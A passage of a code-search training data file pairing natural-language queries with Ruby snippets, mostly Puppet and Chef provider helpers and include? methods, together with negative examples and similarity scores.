find_or_create_provider!(attrs)\n provider = Provider.find_by(name: attrs[:name])\n if provider.blank?\n provider = Provider.create!(\n name: attrs[:name],\n firm_agfs_supplier_number: attrs[:firm_agfs_supplier_number],\n api_key: attrs[:api_key],\n provider_type: attrs[:provider_type],\n vat_registered: attrs[:vat_registered],\n roles: attrs[:roles],\n lgfs_supplier_numbers: attrs[:lgfs_supplier_numbers] || []\n )\n end\n provider\n end", "def get_module_file_name(resource_type_name)\n \"#{get_ruby_specific_resource_type_name(resource_type_name).downcase}_profile_module.rb\"\n end", "def update_provider(file, owner, repo)\n # It looks like the last version is always at the end\n # This saves one HTTP request to owner/repo\n last_version_data = http_get(\"#{owner}/#{repo}/versions\")[\"versions\"].last\n\n version = last_version_data[\"version\"]\n\n archSrc = last_version_data[\"platforms\"].inject({}) do |sum, data|\n arch = data[\"arch\"]\n os = data[\"os\"]\n nix_arch = ARCH_TO_NIX[arch]\n nix_os = OS_TO_NIX[os]\n if nix_arch && nix_os then\n sum[\"#{nix_arch}-#{nix_os}\"] = get_version(owner, repo, version, os, arch)\n end\n sum\n end\n\n data = {\n archSrc: archSrc,\n owner: owner,\n repo: repo,\n version: version,\n }\n\n File.write(file, <<NIX)\n{ mkTerraformProvider }:\nmkTerraformProvider #{to_nix data}\nNIX\nend", "def provider_class\n @provider_class ||= \"::Providers::#{self.provider.camelize}\".constantize.new(self)\n end", "def test_defaultproviders\n basic = @type.provide(:basic) do\n defaultfor :operatingsystem => :somethingelse,\n :operatingsystemrelease => :yayness\n end\n\n assert_equal(basic, @type.defaultprovider)\n @type.defaultprovider = nil\n\n greater = @type.provide(:greater) do\n defaultfor :operatingsystem => Facter.value(\"operatingsystem\")\n end\n\n assert_equal(greater, @type.defaultprovider)\n end", "def create_sugar_record(module_type, record, type)\n record = convert_string_to_datetime(record)\n\n obj = module_type.new(record)\n obj.save!\n obj = create_association(obj, type) unless %(email payment_method).include? type\n create_security_group_iso obj if type == 'iso'\n \n create_user(obj, type) if %(iso agent).include? type\n populate_var_pool(obj, type)\n end", "def describe(ctx)\n puts <<EOS\n---\nprovider:\n type: example\n desc: |\n A dummy provider that echos stuff. Useful for testing.\n invoke: json\n actions: [get,set]\n suitable: true\n attributes:\n name:\n desc: The resource name.\n ensure:\n type: enum[absent, present]\n color:\n type: enum[red, green, blue]\nEOS\n end", "def type\n :puppet_type\n end", "def provider_provider_type_params\n params.require(:provider_provider_type).permit(:name)\n end", "def choose_provider\n settings.provider[\"name\"] = hl.choose do |menu|\n menu.prompt = \"Choose your infrastructure: \"\n menu.choice(\"AWS\") { \"aws\" }\n menu.choice(\"OpenStack\") { \"openstack\" }\n menu.choice(\"vSphere\") { \"vsphere\" }\n end\n save_settings!\n end", "def initialize(name)\n super(PuppetStrings::Yard::CodeObjects::Types.instance, name)\n end", "def provider\n system.provider\n end", "def create_provider_class(name, mod=Object, &init)\n parts = name.split('::', 2)\n cls = nil\n if parts.size == 1\n if mod.const_defined?(name)\n # Was already previously defined, undef all the known *instance* methods\n # (class methods are inherited and should not be undefined)\n cls = mod.const_get(name)\n (cls.instance_methods - RightScale::PowershellProviderBase.instance_methods).each { |m| cls.class_eval(\"undef #{m}\") }\n init.call(cls)\n else\n # New class\n cls = Class.new(RightScale::PowershellProviderBase) { |c| init.call(c) }\n mod.const_set(name, cls)\n end\n else\n m = parts[0]\n mod = if mod.const_defined?(m)\n # Recurse into existing module\n mod.const_get(m)\n else\n # Create new module and recurse\n mod.const_set(m, Module.new)\n end\n cls = create_provider_class(parts[1], mod, &init)\n end\n cls\n end", "def initialize(*args)\n super\n @action = :create\n @provider = Chef::Provider::LinodeDomainApi\nend", "def autoname(type)\n begin\n\treturn unless @outdir\n\tstamp = sprintf('%.6f',\"#{Time.now.to_i}.#{Time.now.usec}\".to_f).gsub('.','')\n\tFile.join(@outdir,\"#{type.upcase}_#{stamp}.#{@format.downcase}\")\n rescue Exception => e\n\[email protected] \"#{e.message} #{e.backtrace.inspect}\"\n\[email protected] \"#{e.message} #{e.backtrace.inspect}\" if @logger \n end\n end", "def type_path\n type_directory + \"#{@name}.rb\"\n end", "def provider_type\n provider.to_s.gsub(\"oauth2\", \"\").try(:titleize)\n end", "def get_module_file(resource_type_name)\n check_and_create_directory\n file_name = get_module_file_name(resource_type_name)\n @file_names << file_name.sub('.rb', '')\n complete_file_name = \"#{@output_dir}/#{@profile_name.downcase}/modules/#{file_name}\"\n File.new(complete_file_name, 'w')\n end", "def provider_content(options)\n %[//\n// This file defines global aspects of your service provider\n// See https://leap.se/provider-configuration\n//\n{\n \"domain\": \"#{options[:domain]}\",\n \"name\": {\n \"en\": \"#{options[:name]}\"\n },\n \"description\": {\n \"en\": \"You really should change this text\"\n },\n \"contacts\": {\n \"default\": \"#{options[:contacts]}\"\n },\n \"languages\": [\"en\"],\n \"default_language\": \"en\",\n \"enrollment_policy\": \"open\"\n}\n]\n end", "def generate\n\t\ttemplate('service.tt', \"lib/services/#{name.underscore}_service.rb\")\n\tend", "def resource_class_name(provider_class_name)\n # Chef lwr/p resource and provider base names are the same\n \"Chef::Resource::#{provider_class_name}\"\n end", "def init_provider(payload)\n if(config.get(:init, :chef, :validator) || config.get(:init, :chef, :encrypted_secret))\n bucket = stacks_api.api_for(:storage).buckets.get(config.get(:orchestration, :bucket_name))\n validator_name = name_for(payload, 'validator.pem')\n if(config.get(:init, :chef, :validator) && bucket.files.get(validator_name).nil?)\n file = bucket.files.build(:name => validator_name)\n file.body = OpenSSL::PKey::RSA.new(2048).export\n file.save\n end\n secret_name = name_for(payload, 'encrypted_data_bag_secret')\n if(config.get(:init, :chef, :encrypted_secret) && bucket.files.get(secret_name).nil?)\n file = bucket.files.build(:name => secret_name)\n file.body = SecureRandom.base64(2048)\n file.save\n end\n end\n end", "def register_provider(name, klass)\n @providers[name] = klass\n end", "def provider_name=(provider)\n unless provider.nil?\n @provider_name = provider.downcase\n end\n end", "def provider_cli\n @provider_cli ||= begin\n return nil unless name = settings.exists?(\"provider.name\")\n require \"cyoi/cli/providers/provider_cli_#{settings.provider.name}\"\n klass = self.class.provider_cli(settings.provider.name)\n klass.new(settings.provider, hl)\n end\n end", "def provider_name\n return @provider_name\n end", "def user_provider=(_arg0); end", "def toolbox(type)\n end", "def toolbox(type)\n end", "def toolbox(type)\n end", "def create name, object_type, config={}\n klass = @@sources[[name, object_type]]\n raise \"No Source registered with name #{name} and type #{object_type}.\" unless klass\n klass.new(config)\n end", "def describe\n puts <<EOS\n---\nprovider:\n type: json\n desc: |\n Test provider for the JSON provider harness\n invoke: json\n actions: [set, get]\n suitable: true\n attributes:\n name:\n ensure:\n type: enum[absent, present]\n message:\nEOS\nend", "def providers\n @title = 'Puppet Provider Listing A-Z'\n @objects_by_letter = objects_by_letter(:puppet_provider)\n erb(:objects)\nend", "def provider\n use_provider('null') unless defined? @provider\n @provider\n end", "def input_name_from_type(type); end", "def format_resource(provider, _)\n str_h1 = '%-80s'\n id = provider['ID']\n body = provider.body\n\n CLIHelper.print_header(str_h1 % \"PROVIDER #{id} INFORMATION\")\n puts format('ID : %<s>s', :s => id)\n puts format('NAME : %<s>s', :s => provider['NAME'])\n\n return if body['provider'] == 'onprem'\n\n # Get max size to adjust all the values\n size = body['connection'].keys.map {|k| k.size }.max\n data = {}\n\n # Generate data value with the new key adjusted format\n body['connection'].map {|k, v| data[k.ljust(size)] = v }\n\n puts\n CLIHelper.print_header(str_h1 % 'CONNECTION INFORMATION')\n data.each do |key, value|\n CLIHelper.scr_bold\n print \"#{key} : \"\n CLIHelper.scr_restore\n puts value\n end\n end", "def new_provider(port,bool)\n stub_framework(bool)\n fill_in \"provider[name]\", :with => \"ec2-testprovider\"\n fill_in \"provider[url]\", :with => \"http://localhost:#{port}/api\"\n select(\"Amazon EC2\", :from => \"provider_provider_type_id\")\n click_button \"Create Provider\"\nend", "def name_with_type\n\t\t\"#{type}: #{name}\"\n\tend", "def get_service_provider(provider)\n case provider.class.to_s\n when 'Fixnum' then provider_by_id(provider)\n when 'String' then (provider.to_i > 0 ? provider_by_id(provider) : provider_by_name(provider))\n when 'Symbol' then provider_by_name(provider)\n when 'NilClass' then nil\n else\n provider\n end\n end", "def new\n self.default_provider.new\n end", "def type_directory\n Pathname.new(puppet_lib) + 'type'\n end", "def generate_itemdef_profile(type,name)\n generate_itemdef_line(type,name,false,false)\n end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def label_provider\n # We are dealing with AST, so the existing one will do fine.\n # This is what translates objects into a meaningful description of what that thing is\n #\n Puppet::Pops::Model::ModelLabelProvider.new()\n end", "def new\n @provider = Provider.new\n end", "def default_provider\n return nil unless node && node['platform_family']\n Chef::Provider::Dropbox.const_get(node['platform_family'].split('_')\n .map(&:capitalize).join)\n end", "def create\n Puppet.debug(\"Calling create method of security_policy_parameter_protectionprovider: \")\n end", "def factory(id = nil)\n if id\n OneProvision::Provider.new_with_id(id, @client)\n else\n OneProvision::Provider.new(OneProvision::Provider.build_xml,\n @client)\n end\n end", "def provider_class\n @__klass ||= Yeller::Provider.class_of(provider)\n end", "def inspect\n \"#<#{self.class}: #{@name} (#{@provider.class})>\"\n end", "def provider_name(provider)\n Account.provider_name(provider)\n end" ]
[ "0.6833228", "0.67541355", "0.6688306", "0.66062933", "0.6443001", "0.62247926", "0.618997", "0.6091165", "0.60012203", "0.60008454", "0.5864689", "0.5862238", "0.58397174", "0.57940793", "0.57409793", "0.57376426", "0.5678912", "0.56600064", "0.56107444", "0.5599568", "0.55809325", "0.5550113", "0.5536021", "0.5531452", "0.55309045", "0.55237764", "0.55223185", "0.5518065", "0.5505696", "0.54953873", "0.5481883", "0.54663837", "0.5428942", "0.5426176", "0.54241556", "0.5411035", "0.5409578", "0.5406373", "0.53970224", "0.53896815", "0.53814006", "0.53725547", "0.5359813", "0.5345211", "0.53446263", "0.5338349", "0.5335468", "0.53259534", "0.5320324", "0.53163815", "0.5313991", "0.53103876", "0.53068924", "0.5291601", "0.52728945", "0.527007", "0.52543443", "0.52496374", "0.5238811", "0.5232107", "0.52167565", "0.52141", "0.5198085", "0.5198085", "0.5198085", "0.51970637", "0.5195586", "0.5179494", "0.5174741", "0.5166986", "0.5162804", "0.51573986", "0.51527876", "0.51434475", "0.51425236", "0.5141378", "0.5140396", "0.51388645", "0.51388645", "0.51388645", "0.51388645", "0.51388645", "0.51388645", "0.51388645", "0.51388645", "0.51388645", "0.51388645", "0.51388645", "0.51388645", "0.51388645", "0.51388645", "0.51388645", "0.5119421", "0.5103226", "0.5099057", "0.5097351", "0.50971276", "0.50904566", "0.5085417", "0.5084847" ]
0.72801447
0
Create the easy type name attribute source file. ./lib/puppet/type/type_name/parameter_name.rb
def create_name_attribute_source create_source(PARAMETER_TEMPLATE, name_attribute_path) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def name_attr(type) type_info(type, :name_attr) end", "def name_attribute_path\n type_attribute_directory + \"#{@namevar}.rb\"\n end", "def name_with_type\n\t\t\"#{type}: #{name}\"\n\tend", "def generate_argument_code\n 'const ' + @type.to_s + '& ' + code_name\n end", "def input_name_from_type(type); end", "def type_name=(val)\n self['type_name'] = val\n end", "def attribute_name=(_arg0); end", "def attribute_name=(_arg0); end", "def attribute_name=(_arg0); end", "def name_t\n end", "def build_name\n \"#{manufacturer} #{weight} #{style} #{name}\"\n end", "def add_attribute_to_type\n check_type_exists\n type_content = File.read(type_path)\n unless parameter_in_type?(type_content)\n type_content.sub!(END_PARAMETER_BLOCK,\"\\t\\t#{@attribute_type} :#{@attribute_name}\\n#{END_PARAMETER_TEXT}\")\n save_file(type_path, type_content)\n Puppet.notice \"#{@attribute_type.capitalize} #{@attribute_name} added to #{type_path}\"\n else\n Puppet.notice \"#{@attribute_type.capitalize} #{@attribute_name} already in #{type_path}\"\n end\n end", "def generate_definition\n # return if not @type # ToDo: remove?\n @type.to_s + ' ' + code_name + \";\\n\"\n end", "def type_name=(value)\n @values['typeName'] = value\n end", "def generate(name); end", "def generate_itemdef_data(type,name)\n generate_itemdef_line(type,name,true,false)\n end", "def type_name(member)\n \t_IDENTIFIER16 = nil\n\n\n\n\n # 336:7: ( IDENTIFIER ) ( package_descriptors[member] )* ( type_argument[member] )?\n # 336:8: IDENTIFIER\n _IDENTIFIER16 = @input.look_ahead(1)\n match(:IDENTIFIER)\n member.type = _IDENTIFIER16.text \n # 337:7: ( package_descriptors[member] )*\n while true\n alt45 = 2\n # ()* loopback of 337:7: ( package_descriptors[member] )*\n look_ahead45_0 = look_ahead(1)\n if look_ahead45_0 == :DOT \n alt45 = 1\n end\n case alt45\n when 1\n # 337:9: package_descriptors[member]\n package_descriptors(member)\n\n else\n break\n end\n end\n # 338:7: ( type_argument[member] )?\n alt46 = 2\n # 338:7: ( type_argument[member] )?\n look_ahead46_0 = look_ahead(1)\n\n if look_ahead46_0 == :LEFT_ANGULAR_BRACKET \n alt46 = 1\n end\n case alt46\n when 1\n # 338:9: type_argument[member]\n type_argument(member)\n\n end\n\n\n\n end", "def name=(value); end", "def attr_name\n parameters.first.jump(:ident).first.to_sym\n end", "def attr_name_from_type_param(type)\n #ap \"type #{type}\"\n type\n .split(\":\")\n .last\n .gsub(/\\[.*:/, '')\n .gsub(/\\]/, '')\n .to_sym\n end", "def parameter_definition(method)\n \t_IDENTIFIER15 = nil\n\n\n\n\n \t parameter = ParameterDefinition.new\n\n\n # 325:5: variable_modifier type[parameter] IDENTIFIER\n variable_modifier()\n\n type(parameter)\n\n _IDENTIFIER15 = @input.look_ahead(1)\n match(:IDENTIFIER)\n\n parameter.name = _IDENTIFIER15.text\n method.add_parameter(parameter)\n \n\n\n\n end", "def autoname(type)\n begin\n\treturn unless @outdir\n\tstamp = sprintf('%.6f',\"#{Time.now.to_i}.#{Time.now.usec}\".to_f).gsub('.','')\n\tFile.join(@outdir,\"#{type.upcase}_#{stamp}.#{@format.downcase}\")\n rescue Exception => e\n\[email protected] \"#{e.message} #{e.backtrace.inspect}\"\n\[email protected] \"#{e.message} #{e.backtrace.inspect}\" if @logger \n end\n end", "def name(val); @name = val.to_sym; end", "def name\n name = '(' << @types.map{|e| e.name }.join('|') << ')'\n name\n end", "def type_name_params\n params.require(:type_name).permit(:type_id, :name)\n end", "def new_attribute(name, type)\n attributes[name] = type\n define_attr_reader(name)\n define_attr_writer(name, type)\n name\n end", "def type\n \"AttributeDefinition\"\n end", "def generate_itemdef_profile(type,name)\n generate_itemdef_line(type,name,false,false)\n end", "def iname=(val)\n attributes['name'] = val\n end", "def iname=(val)\n attributes['name'] = val\n end", "def iname=(val)\n attributes['name'] = val\n end", "def subparameter_name; end", "def mk_var(name, rname, type, transform=\"\", files=@files)\n f_hash=Hash[*files.zip((1..files.length).to_a).flatten]\n defs=files.map do |file|\n \"DEF:#{name}#{f_hash[file]}=#{file}:#{rname}:#{type.to_s.upcase}\"\n end\n cdef=\"CDEF:#{name}=0\"\n f_hash.values.each {|x| cdef += \",#{name}#{x},+\"}\n defs + [cdef + transform]\n end", "def mk_var(name, rname, type, transform=\"\", files=@files)\n f_hash=Hash[*files.zip((1..files.length).to_a).flatten]\n defs=files.map do |file|\n \"DEF:#{name}#{f_hash[file]}=#{file}:#{rname}:#{type.to_s.upcase}\"\n end\n cdef=\"CDEF:#{name}=0\"\n f_hash.values.each {|x| cdef += \",#{name}#{x},+\"}\n defs + [cdef + transform]\n end", "def set_parameterized_name\n self.p_name = name.parameterize\n end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def type_name; end", "def initialize(property)\n @name = Puppet::Pops::Types::StringConverter.convert(property.name.to_s, '%p')\n @type = self.class.get_puppet_type(property)\n @doc = property.doc.strip\n @is_namevar = property.isnamevar?\n end", "def name=(_arg0); end", "def name=(_arg0); end", "def name=(_arg0); end", "def name=(_arg0); end", "def name=(_arg0); end", "def name=(_arg0); end", "def name=(_arg0); end", "def name=(_arg0); end", "def name=(_arg0); end", "def name=(_arg0); end", "def name=(_arg0); end", "def name=(_arg0); end", "def name=(_arg0); end", "def name=(_arg0); end", "def name=(_arg0); end", "def name=(_arg0); end", "def name=(_arg0); end", "def name\n attrs[:name]\n end", "def create_attribute_in(type, attribute_name, param_or_property, parent, options)\n type.send(param_or_property, attribute_name.to_sym, parent: parent) do\n if options[:desc]\n desc \"#{options[:desc]} (a #{options[:type]})\"\n end\n\n # The initialize method is called when puppet core starts building up\n # type objects. The core passes in a hash of shape { resource:\n # #<Puppet::Type::TypeName> }. We use this to pass through the\n # required configuration data to the parent (see\n # Puppet::ResourceApi::Property, Puppet::ResourceApi::Parameter and\n # Puppet::ResourceApi::ReadOnlyParameter).\n define_method(:initialize) do |resource_hash|\n super(type.name, self.class.data_type, attribute_name, resource_hash, type)\n end\n\n # get pops data type object for this parameter or property\n define_singleton_method(:data_type) do\n @rsapi_data_type ||= Puppet::ResourceApi::DataTypeHandling.parse_puppet_type(\n attribute_name,\n options[:type],\n )\n end\n\n # from ValueCreator call create_values which makes alias values and\n # default values for properties and params\n Puppet::ResourceApi::ValueCreator.create_values(\n self,\n data_type,\n param_or_property,\n options,\n )\n end\n end", "def name=(value)\n @name = if \"#{value}\" != \"\"\n value\n elsif type.is_a?(Fixnum)\n [\"Cloud Drive\",\"Inbox\",\"Trash Bin\"][type-2]\n end\n end", "def name=(_); end", "def name=(_); end", "def name=(_); end", "def name=(_); end", "def name=(_); end", "def name=(_); end", "def name=(_); end", "def name=(_); end", "def name\n \"#{self[:afi]} #{self[:type]} #{self[:grp_name]}\"\n end", "def attribute(name); end", "def make_key(type, name)\n \"%#{type}%#{name}\"\n end", "def create_easy_type_source\n create_source(TYPE_TEMPLATE, type_path)\n end", "def generate(name, symbol, typeInfo)\n ptl = typeInfo.parameterLists[0]\n return <<EOF\n\n/**\n * Create expression for GLSL operator '#{symbol}'.\n *\n#{ptl.toClosureAnnotation}\n * @return {!embedsl.Expression} Created expression.\n */\nembedsl.lang.#{name} = (function() {\n var cached = #{typeInfo.toEsl};\n return function(#{ptl.toParameterList}) {\n var args = Array.prototype.slice.call(arguments);\n return new embedsl.Expression(\n embedsl.Kind.OPERATOR, cached, '#{name}', '#{symbol}', args);\n };\n})();\nEOF\nend", "def attr_hash\n\t\t\thash = {:sourcetype => @type}\n\t\t\tcase @type\n\t\t\twhen 'random_string'\n\t\t\t\thash[:length] = @length\n\t\t\twhen 'random_number'\n\t\t\t\thash[:start] = @start\n\t\t\t\thash[:end] = @end\n\t\t\twhen 'eval'\n\t\t\t\thash[:code] = @code.chomp.to_sym\t\t\t# symbolize it in order to prevent it from being escaped\n\t\t\twhen 'file'\n\t\t\t\thash[:fileid] = @fileid\n\t\t\t\thash[:delimiter] = @delimiter\n\t\t\t\thash[:order] = @order\n\t\t\tend\n\t\t\thash\n\t\tend", "def ppm(dataType, ppmType, varName, varAlias)\r\n dt = dataType.ljust(12)\r\n pt = ppmType.ljust(12)\r\n vn = varName.ljust(48)\r\n va = varAlias\r\n out = <<EOF\r\nppm #{dt}#{pt}#{vn}\"#{va}\";\r\nEOF\r\n\r\n out # Return generated output\r\n end", "def name\n name = ''\n if @param_types.is_a?(Array)\n name << '(' << @param_types.map{|e| e.name }.join(',') << ')'\n else\n name << @param_types.name\n end\n name << '->' << @result_type.name\n name\n end", "def create_name(name = @name)\n if name.is_a?(VariableNode)\n create_interpolation(name)\n else\n name.to_s\n end\n end", "def name() end", "def generate\n name_plugin\n end", "def variable_name(method)\n \t_IDENTIFIER12 = nil\n\n\n\n\n \t name = \"\"\n\n\n # 238:7: ( 'this' '.' )? IDENTIFIER\n # 238:7: ( 'this' '.' )?\n alt33 = 2\n # 238:7: ( 'this' '.' )?\n look_ahead33_0 = look_ahead(1)\n\n if look_ahead33_0 == :T58 \n alt33 = 1\n end\n case alt33\n when 1\n # 238:9: 'this' '.'\n match(:T58)\n match(:DOT)\n name << \"this.\"\n end\n _IDENTIFIER12 = @input.look_ahead(1)\n match(:IDENTIFIER)\n\n name << _IDENTIFIER12.text\n method.add_use_of(name, _IDENTIFIER12.line)\n \n\n\n\n end", "def set_type_name\n @type_name = TypeName.find(params[:id])\n end", "def admin_ruby_name_method_params\n params.require(:admin_ruby_name_method).permit(:ruby_name_class_id, :name_method, :short_method_description)\n end", "def var_decl(type, name)\n if entry = get_entry(type)\n entry[:ctype].gsub(\"%s\", name.to_s)\n # FIXME type.to_s\n elsif type.to_s.include?(\"%s\")\n type.gsub(\"%s\", name.to_s)\n else\n \"#{type} #{name}\"\n end\n end", "def type_name\n @type_name ||= name.underscore\n end", "def package_descriptors(member)\n \t_IDENTIFIER17 = nil\n\n\n\n\n # 342:7: '.' IDENTIFIER\n match(:DOT)\n _IDENTIFIER17 = @input.look_ahead(1)\n match(:IDENTIFIER)\n member.type += \".#{_IDENTIFIER17.text}\" \n\n\n\n end", "def type_attribute_directory\n Pathname.new(puppet_lib) + 'type' + @name\n end", "def nametype_params\n params.require(:nametype).permit(:name, :name_type_authority_id)\n end", "def my_name(value)\n name = value\nend", "def name(*) end" ]
[ "0.65414023", "0.65000445", "0.6343576", "0.62327015", "0.6221138", "0.6218624", "0.6169844", "0.6169844", "0.6169844", "0.6100225", "0.6074896", "0.60598475", "0.60193896", "0.60117024", "0.60047096", "0.6003836", "0.6000967", "0.5998977", "0.5967555", "0.5960274", "0.5939059", "0.5863896", "0.58611023", "0.5843194", "0.5822831", "0.5820256", "0.5813323", "0.579281", "0.57753015", "0.57753015", "0.57753015", "0.57581323", "0.5753998", "0.5753998", "0.5753129", "0.575285", "0.575285", "0.575285", "0.575285", "0.575285", "0.575285", "0.575285", "0.575285", "0.575285", "0.575285", "0.575285", "0.575285", "0.575285", "0.575285", "0.575285", "0.5745974", "0.57436824", "0.57436824", "0.57436824", "0.57436824", "0.57436824", "0.57436824", "0.57436824", "0.57436824", "0.57436824", "0.57436824", "0.57436824", "0.57436824", "0.57436824", "0.57436824", "0.57436824", "0.57436824", "0.57436824", "0.57307124", "0.5729834", "0.5721428", "0.5719172", "0.5719172", "0.5719172", "0.5719172", "0.5719172", "0.5719172", "0.5719172", "0.5719172", "0.5686067", "0.56806475", "0.56717396", "0.56714416", "0.5668417", "0.56674016", "0.5667144", "0.5662491", "0.5655221", "0.56507134", "0.5639896", "0.56354785", "0.56252486", "0.5622899", "0.56226355", "0.56158894", "0.5613452", "0.56063044", "0.5604974", "0.55970746", "0.55945724" ]
0.72566235
0
include it Should pass
def test_tag_pass assert_equal mail_to("[email protected]"), "<a href='mailto:[email protected]'>[email protected]</a>" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def include; end", "def include; end", "def included; end", "def includes\n end", "def includes\n end", "def include?(something); end", "def included(mod); end", "def include=(_arg0); end", "def include?(arg0)\n end", "def test_0210_includeq\n @@log.debug \"test_0210_includeq starts\" if @@log.debug?\n assert_respond_to(@list, :include?, \"test_0210_includeq_respond\")\n # Test does include\n assert(@list.include?(@bsb),\"test_0210_includeq_basic\")\n # Test does not include\n ta = Person.new(\"A\", \"B\", \"C\", 456)\n assert(@list.include?(ta) == false,\"test_0210_includeq_backwards\")\n\n @@log.debug \"test_0210_includeq ends\" if @@log.debug?\n end", "def included(othermod) end", "def test_include(all,one)\n return expect(all).to include(one)\n end", "def test_include(all,one)\n return expect(all).to include(one)\n end", "def test_include(all,one)\n return expect(all).to include(one)\n end", "def include?(filename)\n \n end", "def include(mod,*more) end", "def include?(name); end", "def include?(p0) end", "def include?(p0) end", "def include?(p0) end", "def include?(p0) end", "def include?(p0) end", "def include?(p0) end", "def test_include\n list = []\n list << 'xyz'\n assert_includes list, 'xyz'\n end", "def include_above(mod1, mod) end", "def change_include_possible(include,user)\n\t\t\n \tend", "def add_include include\n add_to @includes, include\n\n include\n end", "def include item\n\tend", "def include inc\n @includes << inc\n end", "def include?(name)\n includes?(name)\n end", "def include?(uri); end", "def include?(item)\n end", "def include?(item)\n return true\n end", "def include_strategy\n :includes\n end", "def included(klass); end", "def included(klass); end", "def include_at_top(mod) end", "def includes() return @includes end", "def test_not_included\n refute_includes(list, 'xyz')\nend", "def included_files; end", "def include(mod)\n mod.included(self)\n end", "def included(*args)\n quando_incluso *args\n end", "def includedOnce (haystack, needle)\n # Your code here\nend", "def include(*args)\n include_private(*args)\n end", "def test_include?\n assert_includes list, 'xyz'\nend", "def possibly_include_hidden?; end", "def include_below(mod1, mod2) end", "def include?(something)\n output&.include?(something) || content.include?(something)\n end", "def add_include(include)\n @includes << include\n end", "def test_include\n character1 = Character.new(BLANK_RACE)\n character2 = Character.new(BLANK_RACE)\n party = Party.new([character1, Character.new(BLANK_RACE)])\n assert(party.include?(character1), \"Party should include the character\")\n refute(party.include?(character2), \"Party should not include the character\")\n end", "def includes item\n msg = \"#{self} did not include #{item}\"\n check_if self.include?(item), msg\n end", "def included_modules() end", "def add_include(include)\n add_to @includes, include\n end", "def include_morsel?; true end", "def include(pattern)\n includes << pattern\n end", "def assert_include(actual, expected, options = nil)\n unless actual.include?(expected)\n msg = msg ? msg + ' - ' : ''\n message = \"#{msg}Expected: #{actual.inspect} to include #{expected.inspect}\"\n Test.expect(false, message)\n end\n end", "def include?\n @options[:include]\n end", "def include?(list,tst)\n list.each {|itm| return true if itm == tst}\n false\nend", "def include?(arg)\n arg.is_a?(Module) ? !!included_modules.detect{ |m| m === arg } : store.include?(arg)\n end", "def include(*args)\n include_or_extend(:include, *args)\n end", "def include?(file)\n all_files.include? file\n end", "def link_include_file(file); end", "def link_include_file(file); end", "def included(a_module)\n end", "def include(*others)\n IncludesTracker.reset!\n __orig_include(*others)\n end", "def included(descendant); end", "def included(descendant); end", "def covered?; end", "def include?(left, right)\n raise \"Not applicable to sphinx.\"\n end", "def include(mod)\n mod.append_features(self)\n Rubinius.privately do\n mod.included self\n end\n self\n end", "def included_modules; end", "def include( *modules )\n \n super if defined?( super )\n original_include( *modules )\n \n end", "def require_entries; end", "def link_include_object(obj); end", "def link_include_object(obj); end", "def add_include(path)\n @includes << path\n end", "def add_include(path)\n @includes << path\n end", "def add_include(include)\n object_class.record_location self\n return include unless @document_self\n object_class.add_include include\n end", "def assert_included(collection, item)\n assert_block \"#{collection} was expected to include #{item} but does not.\" do\n collection.include?(item)\n end\n end", "def inclusions; end", "def include(arg)\n Object.module_eval \"include #{arg}\"\n end", "def add_includes out, includes\n return if includes.empty?\n out << RDoc::Markup::Rule.new(1)\n out << RDoc::Markup::Heading.new(1, \"Includes:\")\n includes.each do |modules, store|\n if modules.length == 1 then\n include = modules.first\n name = include.name\n path = store.friendly_path\n out << RDoc::Markup::Paragraph.new(\"#{name} (from #{path})\")\n if include.comment then\n out << RDoc::Markup::BlankLine.new\n out << include.comment\n end\n else\n out << RDoc::Markup::Paragraph.new(\"(from #{store.friendly_path})\")\n wout, with = modules.partition { |incl| incl.comment.empty? }\n out << RDoc::Markup::BlankLine.new unless with.empty?\n with.each do |incl|\n out << RDoc::Markup::Paragraph.new(incl.name)\n out << RDoc::Markup::BlankLine.new\n out << incl.comment\n end\n unless wout.empty? then\n verb = RDoc::Markup::Verbatim.new\n wout.each do |incl|\n verb.push incl.name, \"\\n\"\n end\n out << verb\n end\n end\n end\n end", "def include?(key); end", "def include?(key); end", "def process_include anElement\r\n self.transform_include anElement.content\r\n end", "def included?\n @_included\n end", "def assert_include collection, obj, msg = nil\n assert_respond_to collection, :include?\n\n message ||= \"#{collection.inspect}\\ndoes not include\\n#{obj.inspect}.\"\n assert_block message do collection.include?(obj) end\n end", "def refute_includes(collection, member, message=nil)\n IncludeAssay.refute!(collection, member, :message=>message, :backtrace=>caller) \n end", "def include(header)\n @inc << \"#include #{header}\"\n end", "def includes(*args)\n @options[:include] ||= []\n @options[:include] |= args\n end", "def include(source, base=nil)\n\t\t\tsource = File.join(base, source.to_s) unless base.nil?\n\t\t\t@sources << Source.new(source.to_s, type: @type)\n\t\tend", "def common\n \n end", "def set_include_statement\n super\n end", "def using_include(array, element)\n\tarray.include?(element)\nend", "def include?(value)\n return super if value.is_a?(Module)\n\n !self[value].nil?\n end", "def assert_includes(collection, member, message=nil) \n IncludeAssay.assert!(collection, member, :message=>message, :backtrace=>caller)\n end", "def include(str, pos= 0, len= -1)\n end", "def test_include_accepts_arguments_it_annouce\n s = Sample.new << ['+ a b a b', '+ a b', '- a', '+']\n assert_equal true, s.include?('+ a b a b')\n assert_equal true, s.include?(InputString.new('a b a b',true))\n assert_equal true, s.include?(ADL::parse_string('+ a b a b'))\n assert_equal true, s.include?(['+ a b a b', '+ a b'])\n assert_equal true, s.include?(s)\n end", "def include?(key)\n\t\t\t\tsuper || @l2.include?(key)\n\t\t\tend", "def do_includes\n @body.scan(/rb_include_module\\s*\\(\\s*(\\w+?),\\s*(\\w+?)\\s*\\)/) do |c,m|\n if cls = @classes[c]\n m = @known_classes[m] || m\n cls.add_include(Include.new(m, \"\"))\n end\n end\n end", "def new_include_cmd\n super(apt_site: apt_site.actor)\n end" ]
